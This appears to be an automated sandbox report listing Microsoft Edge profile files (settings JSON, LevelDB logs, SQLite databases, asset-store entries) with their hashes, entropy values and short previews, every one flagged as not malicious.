SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\372bb81b-8a4b-429b-9211-0d3027312572.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17480), with no line terminators
Category:	dropped
Size (bytes):	17484
Entropy (8bit):	5.473014825120317
Encrypted:	false
SSDEEP:	384:stQPGQSu4JsNZ1fhDGNiF2VmbGEQwJ6WhtlaTYp:sOOXujLfsWbGDu17aTYp
MD5:	ED8C9362A429356E80C6F6139600B61D
SHA1:	24366B46891B3FA6A93F907EB1E55804BB324698
SHA-256:	AA57DF0CAEAFFC5C82F654C12F2B3F5397BA6CBAB1068C3AC8D3D4FA95FB87DE
SHA-512:	B049C5F61DA70FEDDA6AA4456B03AF44227B7E5ED5A9E6898C94C8C3E49DCB8223832D01ED3CED49474C20A8DEBE8FA0F1DA4B5FCE922ED5A2C23C72747C1F39
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374639987372230","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\68faec5f-72c3-4c0d-bc36-dd8c4fbc0d32.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.1144856512351975
Encrypted:	false
SSDEEP:	192:stQkdpJspHZ1sZihUkz3Yh81bV+F4vQA66WTaFIMY1PqYJ:stQQJsNZ1fh5bGEQx6WTaTYp
MD5:	4AD4DE2BAEBF6CF898CFA05B448FB30B
SHA1:	C360AB9CB08597C226F45B032914982F1C1E0619
SHA-256:	20C0490EB172857CB6C6329E4C592C0F9741326329192429D5D6C01F09739BFB
SHA-512:	C6C5E0ABCA8E5A5DC53072D6CC540ED8530D60093BA4F6ED73121413E9397BDC90B91149806AB998E0221E704D73B5479CE4A213A1616924646F4097B9D55FCB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374639987372230","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.237993882975078
Encrypted:	false
SSDEEP:	6:y1C1923oH+Tcwtp3hBtB2KLlk1LBt+q2P923oH+Tcwtp3hBWsIFUv:CnYebp3dFLqev4Yebp3eFUv
MD5:	E2AD337975DE91E48B144895FE71ED07
SHA1:	D1060FE4F40D445DEB8F568DC6737098064F01F3
SHA-256:	9C613F298A923E34EFD7354055FB092055E77E80B6EE2B5EEF87A4A3F7090C51
SHA-512:	1B2F21C5E875227FF4B21AE569BDDDE50AAFDB98E9B4A98BE30A1CFE0C93151A828FE282835DF0ABCBF091DC04A0241AB850156AEC48EEFF886BBD1BCCA3152E
Malicious:	false
Preview:	2024/10/28-21:46:31.604 1dd8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/28-21:46:31.654 1dd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.2228798497632525
Encrypted:	false
SSDEEP:	24576:v+/PN8F2fI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN80fx2mjF
MD5:	A4DC207632A4D88E20A5CC8C9736BB20
SHA1:	DEB52611FF55C410D3E44EC6F4EFC14F1E6E316C
SHA-256:	DAEBD3FE76B6B972B33F54CE791BCA1B216A7024287BFAC4387C0D5782455F20
SHA-512:	DE1BD4B05426996245BA73987ADEDC6441509C1DBAC2B210D1CD1072650D12B6A54BBDB2145C9543675AF2F164411F4F651FE60A1F86452FEC6398C01F81D833
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.140212758196257
Encrypted:	false
SSDEEP:	6:y31yq2P923oH+Tcwt9Eh1tIFUt8hV1Zmw+hJRkwO923oH+Tcwt9Eh15LJ:lv4Yeb9Eh16FUt8z1/+x5LYeb9Eh1VJ
MD5:	127A2DC8BD9073433FC6C1B4D9E3A282
SHA1:	10DCDA778B9A3F480A111EB2ECE2E4CDE92278B8
SHA-256:	6FA91AA2FC1495301240456E29D129258296E0F1A652B16B3AA14D7D32F6C458
SHA-512:	C1AF66B583E78F59AF15B57D34DC189C331E4F8CFF939A4F897A7259C79AAED51C29822A9421956A51CFFC808CDB4F35B5C95336458959933827C28B25316740
Malicious:	false
Preview:	2024/10/28-21:46:31.498 2270 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/28-21:46:31.500 2270 Recovering log #3.2024/10/28-21:46:31.506 2270 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.140212758196257
Encrypted:	false
SSDEEP:	6:y31yq2P923oH+Tcwt9Eh1tIFUt8hV1Zmw+hJRkwO923oH+Tcwt9Eh15LJ:lv4Yeb9Eh16FUt8z1/+x5LYeb9Eh1VJ
MD5:	127A2DC8BD9073433FC6C1B4D9E3A282
SHA1:	10DCDA778B9A3F480A111EB2ECE2E4CDE92278B8
SHA-256:	6FA91AA2FC1495301240456E29D129258296E0F1A652B16B3AA14D7D32F6C458
SHA-512:	C1AF66B583E78F59AF15B57D34DC189C331E4F8CFF939A4F897A7259C79AAED51C29822A9421956A51CFFC808CDB4F35B5C95336458959933827C28B25316740
Malicious:	false
Preview:	2024/10/28-21:46:31.498 2270 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/28-21:46:31.500 2270 Recovering log #3.2024/10/28-21:46:31.506 2270 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4629113179930881
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu+zp:TouQq3qh7z3bY2LNW9WMcUvBuQ
MD5:	BB74A90CFBA1D2BF7786F1990BC672E8
SHA1:	623846D6E517B18967E584A062EF17D32591D87F
SHA-256:	2362DAA5A209B38CC8E392B9BFE21C40CABC074851B33A22719AAFC6FB4C206B
SHA-512:	80346A7939B1216F8165D6A2FA8D984B6B42912B8B927FF2917E53CF689BC8339788B197129E5E3DDB1C39E7F8FD8D63353A05658D216D5F2835B54E51CDA2C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.202288406193792
Encrypted:	false
SSDEEP:	6:ycsyq2P923oH+TcwtnG2tMsIFUt8hsR11Zmw+hWRkwO923oH+TcwtnG2tMsLJ:Jv4Yebn9GFUt8e1/+k5LYebn95J
MD5:	B22B39CB21B742178D3239C69D229E13
SHA1:	1B8F4DA81A39E68D6A40172D1776BEBFFF5032B7
SHA-256:	23ADC293B3EB22F4C2E3914A2461D235CAE9FD51B6E7A5DF781640FAED2B15A9
SHA-512:	B383DEED89047C373B586D0D3C5E69A77E41F24647D88912CCECAA456C209C04C1C734E770ED414AD3630005DC01C81C95CB0C2C8FB61D65DAC14814086829D3
Malicious:	false
Preview:	2024/10/28-21:46:26.468 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/28-21:46:26.469 1d30 Recovering log #3.2024/10/28-21:46:26.476 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.202288406193792
Encrypted:	false
SSDEEP:	6:ycsyq2P923oH+TcwtnG2tMsIFUt8hsR11Zmw+hWRkwO923oH+TcwtnG2tMsLJ:Jv4Yebn9GFUt8e1/+k5LYebn95J
MD5:	B22B39CB21B742178D3239C69D229E13
SHA1:	1B8F4DA81A39E68D6A40172D1776BEBFFF5032B7
SHA-256:	23ADC293B3EB22F4C2E3914A2461D235CAE9FD51B6E7A5DF781640FAED2B15A9
SHA-512:	B383DEED89047C373B586D0D3C5E69A77E41F24647D88912CCECAA456C209C04C1C734E770ED414AD3630005DC01C81C95CB0C2C8FB61D65DAC14814086829D3
Malicious:	false
Preview:	2024/10/28-21:46:26.468 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/28-21:46:26.469 1d30 Recovering log #3.2024/10/28-21:46:26.476 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6135516140285056
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+juCsIpBnmL:TO8D4jJ/6Up+8
MD5:	23ED3813338C1018001DCCB76B3A2BDF
SHA1:	7727466CBE2F799EAB4B9468FC0E4E06CD07C6AC
SHA-256:	3A37CE8E28AC229911F9257ED210B090F1C784E69C4D9522758D947C8D6EBC43
SHA-512:	91E8D26C5B108438225477E283302DAB71FCA198D45AA4AB296B3703D90F16093A2A851A3656F5CBEA69C9E23B5D8A37D3A21F1724DFFF8C60ED84474BD8699C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.35412563282353
Encrypted:	false
SSDEEP:	6144:KA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:KFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	4E15DAAF589054372C0540018F785280
SHA1:	5C69E15B5364C20DD0E401A03B320C1F1B74B8C8
SHA-256:	8C2B0D03268A4B227D32C78AE2A5335C2636E47DFA2F21B680900728FF7AE4A5
SHA-512:	FAFD4C6DCDD5B3DBEC3ABF5D9AD0362D2F3295A1C0644086FCFB87E0F729EF9A2651F0498B6701B95CAE9BD5F61456410F16DEA3F76B9B3CA8694DF83693B5A8
Malicious:	false
Preview:	...m.................DB_VERSION.1...oq...............&QUERY_TIMESTAMP:domains_config_gz2...13374639992613735..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.149424696441286
Encrypted:	false
SSDEEP:	6:y35ms1923oH+Tcwtk2WwnvB2KLlkN+q2P923oH+Tcwtk2WwnvIFUv:E8YebkxwnvFLQ+v4YebkxwnQFUv
MD5:	48FDEED4B87548D86E93FDEEC21566C9
SHA1:	4EE3BCD25BED909ABF1CF575AED936AF125CA854
SHA-256:	415F5120DF395ACE3C2AA1C11DFC80843ADB625040F15E47EF418F2AC33BF916
SHA-512:	C5B0D7B1F9C81DB54ED0D87151212CB1B5346CD397ABFE710315458A4649D3917B0DD86B98923048AE40E44C9E74CFB2C6D8F02583647669BF00872F415698CF
Malicious:	false
Preview:	2024/10/28-21:46:31.461 21cc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/28-21:46:31.502 21cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324605648608851
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RG:C1gAg1zfv+
MD5:	3C96094E56150C7F2CA2927579E85034
SHA1:	BBF30E13349CB77DCB5D370461237EDE2069468A
SHA-256:	3C24268AC33C16BEFD97B4CB6A4A45B99D7219249D1E7EBB73D979CD327456E8
SHA-512:	0238885CD75C7162595AB4CC7888A21C6B8456ED62392CAC527835CE27C7C0EAD4B33C906C95FF42E7D426719C7764A4C8A8E5F241034C7B0B192E13C5554CD0
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

